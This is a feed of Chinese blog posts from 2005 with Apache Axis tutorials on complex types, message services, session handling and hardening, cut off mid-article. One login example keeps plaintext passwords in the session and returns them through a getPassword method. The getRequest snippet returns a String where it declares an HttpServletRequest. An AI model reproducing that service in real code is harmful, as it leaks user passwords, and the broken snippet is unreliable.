<P>之前我们做的演示程序都很简单，方法的参数和返回值都是简单类型的数据，但是在实际应用过程中往往没有这么简单。在使用面向对象的编程语言时，我们会希望数据类型可以是某个对象，比如我们提供一个接口用来发送短信息，那么我们希望接口的参数是一个消息对象，这个消息对象封装了一条信息的所有内容包括发送者、接收者、发送时间、优先级、信息内容等等，如果我们把每个内容都做成一个参数，那这个接口的参数可能会非常的多。因此封装成对象是很有必要的。</P>
<P>在使用Axis来编写Web服务时对复杂类型数据的处理同样也是非常简单。Axis要求复杂类型对象的编写必须符合JavaBean的规范，简单的说就是对象的属性是通过getter/setter方法来访问的。来看看下面这个简单的例子所输出的WSDL信息有何特殊的地方。为了简便，我们还是使用jws来编写，需要编写三个文件：sms.jws,Message.java,Response.java。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//文件名：sms.jws
import lius.axis.demo.*;

public class sms{  

/**  
  * 短信息发送Web服务接口  
  */
  
  public Response send(Message msg) throws Exception{
 System.out.println("CONTENT:"+msg.getContent());
 Response res = new Response();
 res.setMessage(msg);
 res.setCode(0);
 res.setErrorText("");
 return res;    
  } 
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Message.javapackage lius.axis.demo;

/** 
  * 欲发送的信息 
  * @author Liudong 
  */
  
public class Message {
 private String from;
 private String to;
 private String content;
 private int priority;
 
 public String getContent() {
  return content;
 }
 
 public void setContent(String content) {
  this.content = content;
 } 
 
 public String getFrom() { 
  return from;
 }
 
 public void setFrom(String from) { 
  this.from = from;
 }    
 
 public int getPriority() {
  return priority;
 }
 
 public void setPriority(int priority) {
  this.priority = priority;
 } 
 
 public String getTo() {
  return to;
 } 
 
 public void setTo(String to) {
  this.to = to;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Response.javapackage lius.axis.demo;

/** 
  * 信息发送回应，在这里我们做了一个对Message 类的引用 
  * @author Liudong 
  */
  
public class Response {
 private int code; 
 
 //发送结果代码 
 private String errorText;
 private Message message;
 
 //发送的原始信息  
 public int getCode() {
  return code;
 } 
 
 public void setCode(int code) {
  this.code = code;
 } 
 
 public String getErrorText() { 
  return errorText;
 } 
 
 public void setErrorText(String errorText) {   
  this.errorText = errorText;
 } 
 
 public Message getMessage() {
  return message;
 } 

 
 public void setMessage(Message message) { 
  this.message = message;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>编译Message.java和Response.java并将编译后的类文件拷贝到axis/WEB-INF/classes对应包的目录下，sms.jws拷贝到axis目录，访问http://localhost:8080/axis/sms.jws?wsdl即可看到WSDL信息，这些信息与之前不同的在于下面列出的内容(注意粗斜体部分内容)：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;wsdl:types&gt;
&lt;schema targetNamespace="http://demo.axis.lius" xmlns="http://www.w3.org/2001/XMLSchema"&gt;
  &lt;import namespace="http://schemas.xmlsoap.org/soap/encoding/" /&gt;
  &lt;complexType name="Message"&gt;
    &lt;sequence&gt;
      &lt;element name="content" nillable="true" type="xsd:string" /&gt;
      &lt;element name="from" nillable="true" type="xsd:string" /&gt;
      &lt;element name="priority" type="xsd:int" /&gt;
      &lt;element name="to" nillable="true" type="xsd:string" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
  &lt;complexType name="Response"&gt;
    &lt;sequence&gt;
      &lt;element name="code" type="xsd:int" /&gt;
      &lt;element name="errorText" nillable="true" type="xsd:string" /&gt;
      &lt;element name="message" nillable="true" type="tns1:Message" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
&lt;/schema&gt;
&lt;/wsdl:types&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>这里定义了两个类型Message和Response，就是我们接口的参数类型以及返回值的类型。现在再使用WSDL2Java工具来生成客户端Helper类看看Axis帮我们做了什么？它会自动帮我们生成两个类Message和Response，包名与类名都跟我们刚才定义的一致，你可以打开看看跟我们刚才编写的类差别多大？这两个类添加了很多方法例如getTypeDesc、getSerializer、getDeserializer等等。现在你就可以随便写个小程序测试一下了，我们就不在累赘了。Service方式Web服务的处理跟jws是类似的，不同在于service方式需要在server-config.wsdd添加类型的映射配置，下面给出一个配置的示例，读者可以根据实际情况进行修改。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>


&lt;service name="SmsService" provider="java:RPC"&gt;
 &lt;parameter name="className" value="lius.axis.demo.SmsService"/&gt;
 &lt;parameter name="allowedMethods" value="send"/&gt;
 &lt;operation name="send" returnType="ns:Response"&gt;
  &lt;parameter name="msg" type="ns:Message"/&gt;
 &lt;/operation&gt;
 
&lt;!-- 这里定义了方法的参数以及返回值 --&gt;

 &lt;typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"   
 encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Message"
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
 type="java:lius.axis.demo.Message" xmlns:ns="SmsService"/&gt;
 
 &lt;typeMapping
 deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"    
 	encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Response"    
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"    
 type="java:lius.axis.demo.Response" xmlns:ns="SmsService"/&gt;
 &lt;/service&gt;

</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其他编程语言也都可以借助语言本身所附带的工具来生成这些复杂类型，如果你嫌麻烦的话可以使用XML来描述这些复杂类型，这样就简单很多。</P>
<P><A name=2><SPAN class=atitle2>面向消息/文档的Web服务类型</SPAN></A><BR></P>
<P>我们前面介绍的服务方式是基于RPC(远程过程调用)方式，这也是Web服务最常用的方式。面向消息/文档的的类型跟RPC不同的是它提供了一个更底层的抽象，要求更多的编程工作。客户端可以传入任何的XML文档，得到的响应不一定是SOAPEnvelope，可以返回任何它所需要的东西，甚至不返回。虽然这对开发者来说非常的灵活，但是这种通讯类型在实际的应用中并不常见。面向消息/文档的Web服务主要适合于下面几种情况，比如批量处理，基于表单的数据导入，有需要返回非XML数据时，Web服务器实现中要求直接访问传输层等等。</P>
<P>对于RPC类型的服务需要在全局配置文件server-config.wsdd中设置一行&lt;service ... provider="java:RPC"&gt;，其中RPC就是服务的方式，而对于面向消息/文档的服务类型那java:RPC就要替换成为Message，并且面向消息/文档的服务类型必须通过WSDD配置来发表。对于完成面向消息服务的类，其方法必须具有以下的格式：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public Element[] methodName(Element [] elems)
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中methodName为你自定义的方法名。在Axis的目录下可以找到MessageService.java，这就是一个完成了该类型的服务类，该服务的在WSDD中的配置如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;deployment name="test" xmlns="http://xml.apache.org/axis/wsdd/"      
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"&gt;
 &lt;service name="MessageService" style="message"&gt;
  &lt;parameter name="className" value="samples.message.MessageService"/&gt;
  &lt;parameter name="allowedMethods" value="methodName"/&gt; 
 &lt;/service&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>不管是什么内容的Web服务，对客户端来说都是一样的，使用WSDL2Java来生成的客户端Helper类的MessageService接口如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/** 
  * MessageService.java 
  * 
  * This file was auto-generated from WSDL 
  * by the Apache Axis WSDL2Java emitter. 
  */
  
package liudong.axis.services.MessageService;

public interface MessageService extends java.rmi.Remote {
 public java.lang.Object echoElements(java.lang.Object part) throws java.rmi.RemoteException;
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P><A name=3><SPAN class=atitle2>我从哪里可以获得…</SPAN></A><BR></P>
<P>Axis文档中有一句话很有意思，对于绝大多数类似于"我从哪里可以获得…"的问题，答案都在MessageContext类中。通过MessageContext类你可以获取下面几个内容，一个AxisEngine实例的引用；请求以及回应的信息；验证信息以及对于Servlet规范中的实例引用等等。例如当我们需要客户端的IP地址时我们可以通过下面代码片段获取：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/**      
  * 获取客户端请求     
  * @return     
  */
  
private HttpServletRequest getRequest() throws Exception{
 MessageContext context = MessageContext.getCurrentContext();
 HttpServletRequest req = (HttpServletRequest)context.getProperty(HTTPConstants.MC_HTTP_SERVLETREQUEST);        
 return req.getRemoteHost();
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>在类HTTPConstants中，所有以MC_开头的常量就是你所可以获取到的信息，例如上面通过MC_HTTP_SERVLETREQUEST获取对应Servlet规范中的HTTP请求。更详细的信息可以通过查询API文档获取。</P>
<P><A name=4><SPAN class=atitle2>Web服务会话管理</SPAN></A><BR></P>
<P>在Web服务中我们可以借助HTTP以及HTTP Cookie来处理会话信息。前面我们介绍了大多数对Axis的管理都是通过MessageContext实例来完成的。下面的例子首先验证用户的登录帐号与口令如果正确则在会话中保存用户的登录信息，并提供接口供客户端获取密码。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

import org.apache.axis.MessageContext;
import org.apache.axis.session.Session;

public class login{ 
 public boolean login(String user, String pass){ 
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  session.set("user",user);
  
  //保存用户名与口令
  session.set("pass",pass);
  return true;
 }
 
 public String getPassword(String user){
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  if(user.equals(session.get("user"))) 
   return (String)session.get("pass");
  return null;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>对于服务器端来讲只需要通过MessageContext实例获取Session对象即可进行会话级的数据保存或者读取，而对于通过Axis的WSDL2Java工具生成的客户端来讲还需要做一个特殊的设置，请看下面客户端代码片段。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public static void main(String[] args) throws Exception {
 LoginServiceLocator lsl = new LoginServiceLocator();
        lsl.setMaintainSession(true);
        Login login = lsl.getlogin();
        if(login.login("ld","haha")) 
  System.out.println("PWD:"+login.getPassword("ld"));
        else  
  System.out.println("Login failed.");
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>代码中的粗体部分就是让Axis帮助我们自动处理服务器返回的Cookie信息以保证会话正常工作。</P>
<P><A name=5><SPAN class=atitle2>保护Web服务</SPAN></A><BR></P>
<P>网络的安全问题永远是需要最先考虑的问题，可是怎么能让我们的Web服务更加安全呢？为此Axis建议可以根据实际的需要采取以下的几种方法。</P>
<OL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>使用HTTPS传输方式 该方式需要在Web服务器上进行配置同时需要客户端的支持。该措施有效的防止数据在网络传输过程中被窥视。 
<LI>重命名Axis已有的一些名字，例如AdminService、AxisServlet，删除Axis目录下一些无用的程序，例如happyaxis.jsp以及一些无用的jar包等。 
<LI>通过设置axis.enableListQuery的值为false来停止AxisServlet列出所有服务的功能。 
<LI>禁止自动生成WSDL的功能 
<LI>使用过滤器来增加一些验证功能，例如客户端的地址等。 </LI></OL>
<P>最常用的不外乎上面几个，至于更详细的资料可以参考Axis解压目录下的docs/reference.html文件的详细介绍。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>《应用AXIS开始Web服务之旅》 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html</A> <BR><BR>
<LI>IBM开发者站点Web服务专区 <A href="http://www-128.ibm.com/developerworks/cn/webservices/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices</A> <BR><BR>
<LI>Apache网站AXIS项目 <A href="http://ws.apache.org/axis/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://ws.apache.org/axis/</A> <BR><BR>
<LI>W3C之Web服务 <A href="http://www.w3.org/2002/ws/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.w3.org/2002/ws/</A> <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>刘冬，一直使用J2EE从事移动业务方面的开发。现在可以通过Java自由人网站来跟我联系，网址是： <A href="http://www.javayou.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.javayou.com</A>；另外我的邮件地址是 <A href="mailto:winter.lau@163.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">winter.lau@163.com</A>。 </TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10064.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 09:41 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hello, Axis</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 01:20:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10063.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10063.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10063.html</trackback:ping><description><![CDATA[<P><A href="http://www.javaresearch.org/article/showarticle.jsp?column=5&amp;thread=28482">http://www.javaresearch.org/article/showarticle.jsp?column=5&amp;thread=28482</A><BR><BR>Axis是Apache的一个开源web&nbsp;service引擎。它目前最为成熟的开源web&nbsp;service引擎之一。下面我主要介绍一下如何使用该Axis开发您的web&nbsp;service&nbsp;服务。<BR><BR><BR>1.安装</P>
<P>以tomcat4.1为服务器，下面说明如何安装axis：<BR>&nbsp;&nbsp;&nbsp;1.解压下载后的包，将包中axis目录复制到tomcat目录下的webapps目录下；<BR>&nbsp;&nbsp;&nbsp;2.将axis/WEB-INF/lib目录下类文件复制到tomcat目录下的common/lib目录下；<BR>&nbsp;&nbsp;&nbsp;3.重新启动tomcat；<BR>&nbsp;&nbsp;&nbsp;4.访问<A href="http://localhost:8080/axis/happyaxis.jsp">http://localhost:8080/axis/happyaxis.jsp</A>,如果能访问，表示安装成功；</P>
<P>&nbsp;</P>
<H4>2.开发webservice服务</H4><BR>a.编写普通类文件，如下所示：<BR>//文件名：Test.java<BR>import&nbsp;java.util.*;<BR><BR>public&nbsp;class&nbsp;Test{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//fields<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;name="gaga";<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;age=20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&nbsp;items=new&nbsp;ArrayList();<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//method&nbsp;at&nbsp;here.<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;String&nbsp;getName(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;int&nbsp;getAge(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;age;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&nbsp;getItems(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;items;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR>将本文件(Test.java)复制到Axis目录下，并将其更名为Test.jws；<BR>b.访问<A href="http://localhost:8080/axis/Test.jws,Axis">http://localhost:8080/axis/Test.jws,Axis</A>就会编译该文件，并将其部署到系统中；<BR>下面你就可以开发web&nbsp;service的客户端程序了；<BR><BR>
<H4>3.开发客户端程序</H4><BR>下面是客户端程序：<BR>import&nbsp;org.apache.axis.client.*;<BR>import&nbsp;org.apache.axis.client.Call;<BR>import&nbsp;org.apache.axis.client.Service;<BR><BR>import&nbsp;javax.xml.namespace.QName;<BR><BR><BR>public&nbsp;class&nbsp;TestWebService{<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String&nbsp;args[]){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("Start&nbsp;invoking....");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;endpoint&nbsp;=<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"http://localhost:8080/axis/Test.jws";//你写的那个文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Service&nbsp;&nbsp;service&nbsp;=&nbsp;new&nbsp;Service();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;(Call)&nbsp;service.createCall();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call.setTargetEndpointAddress(&nbsp;new&nbsp;java.net.URL(endpoint)&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call.setOperationName("getAge");//填写你要调用的方法名称<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ret&nbsp;=Integer.parseInt((""&nbsp;+&nbsp;call.invoke(&nbsp;new&nbsp;Object[]&nbsp;{}&nbsp;)));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(ret);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(Exception&nbsp;e)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.err.println(e.toString());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("Finished&nbsp;the&nbsp;invoking.");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>}<BR><BR>关于业务调用封装到服务端程序里，然后部署就可以了，就这么简单。<BR>
<H4>4.资源</H4><BR>http://ws.apache.org/axis/<BR><BR>作者：郭建东&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gagaghost@gmail.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://blog.itpub.net/gagaghost <img src ="http://www.blogjava.net/kapok/aggbug/10063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 09:20 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10063.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Web Services中管理Sessions</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 00:51:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10062.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10062.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10062.html</trackback:ping><description><![CDATA[<STRONG><A href="http://www.ftponline.com/china/XmlFile.aspx?ID=312">http://www.ftponline.com/china/XmlFile.aspx?ID=312</A><BR>在Web service中通常采用两种公认技术来管理session，一种是借助HTTP和HTTP cookies，另一种是用SOAP headers。Axis能帮你实现这两种技术。<BR xmlns:fo="http://www.w3.org/1999/XSL/Format"></STRONG><SPAN class=AboutAuthor xmlns:fo="http://www.w3.org/1999/XSL/Format">by Kevin Jones</SPAN> 
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在Web service中没有一种管理session的标准方法，只有两种公认的技术，一种是依靠HTTP和HTTP cookies，另一种，或许也是最重要的一种方法，就是用SOAP headers。Axis能帮助开发人员实现这两种技术。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在Axis中缺省使用的是HTTP managed sessions。在一个服务器中这么做是十分容易的，因为大多数对Axis Web service的管理是通过org.apache.axis.MessageContext的一个实例来完成的。在一个Axis Web service中你可以通过调用MessageContext类中的静态方法来得到MessageContext的一个实例： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>public class SessionService
{
   public String echo(String in)
   {
      MessageContext mc = 
         MessageContext.getCurrentContext();
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">MessageContext中有一个名为setMaintainSession的方法，调用它便可激活session。但在编写（Axis 1.1 RC2）时，session对象只有在被访问时才能激活，如下列代码所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>public class SessionService
{
   public String echo(String in)
   {
      MessageContext mc = MessageContext.
         getCurrentContext();
      Session session = mc.getSession();
      String name = (String)session.get("name");
      return in;
   }
}
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这样会导致Axis架构生成一个set-cookie header： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>Set-Cookie: 
JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9; 
Path=/axissessions
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">客户端需要在Cookie header中返回这个Cookie来保持该session。为了使axis运行状态下的客户端能够实现这一点，就必须调用org.apache.axis.client.Service接口的setMaintainSession方法。该接口是由WSDL2Java生成工具所生成的Locator类实现的。调用该方法之后，Axis架构会自动将该cookie返回到服务器中： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> public static void main(String[] args)
   {
      UseSessionsServiceLocator locator = new 
         UseSessionsServiceLocator();
      locator.setMaintainSession(true);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">header看起来就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> Cookie: 
JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">通过HTTP传输cookie是没有问题的，但如果客户端或服务器不通过HTTP，或使用的是通过多个Web services传入调用的multihop service，那么这种方法就不那么有效了。一种更好的方法是用SOAP headers来加载session id。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Axis架构支持多个Handlers。通过在一个Web service请求过程中调用调栈（call stack），Handlers能够被放置到很多地方，它可以和传输过程结合起来，或者和一个Web service一起使用。Handlers可以被插入其中来处理Web service请求中的请求和/或响应语句。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Axis带有一个名为org.apache.axis.handlers.SimpleSessionHandler的handler，它用于提供基于session管理的SOAP header。要使用这个简单的带有Web service的session handler，你必须告知Axis架构将该handler添加到handler链中。你可以通过将该handler信息添加到server-config.wsdd来实现这一点；一个简单的处理方法是定义一个包含额外配置Web service所需的WSDD文件，然后用Axis部署工具来部署这个配置文件。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这个WSDD文件看起来就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;deployment xmlns=
      "http://xml.apache.org/axis/wsdd/"
   xmlns:java=
      "http://xml.apache.org/axis/wsdd/
         providers/java"&gt;

   &lt;handler name="session" 
type="java:org.apache.axis.handlers.
      SimpleSessionHandler"/&gt;

   &lt;service name="Sessions" provider=
         "java:RPC" style="wrapped"&gt;
      &lt;namespace&gt;urn:kevinj:Sessions&lt;/namespace&gt;
      &lt;requestFlow&gt;
            &lt;handler type="session"/&gt;
      &lt;/requestFlow&gt;
      &lt;responseFlow&gt;
            &lt;handler type="session"/&gt;
      &lt;/responseFlow&gt;
      &lt;parameter name="className" value=
            "kevinj.UseSessions"/&gt;
      &lt;parameter name="allowedMethods" value="*"/&gt;
   &lt;/service&gt;

&lt;/deployment&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">该handler是和service分开定义并引用的，虽然你可以在service内部定义它。注意这个handler是同时为了请求和响应而定义的；这就确保了这些headers能够在请求中被读取并添加到响应中去。你可以用这个管理工具来部署它： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java  -cp [classpath to axis bits here] / 
         org.apache.axis.client.AdminClient /
         -lhttp://localhost/myservice/AxisServlet
         deploy.wsdd

</PRE></FONT></TD></TR></TBODY></TABLE></P>
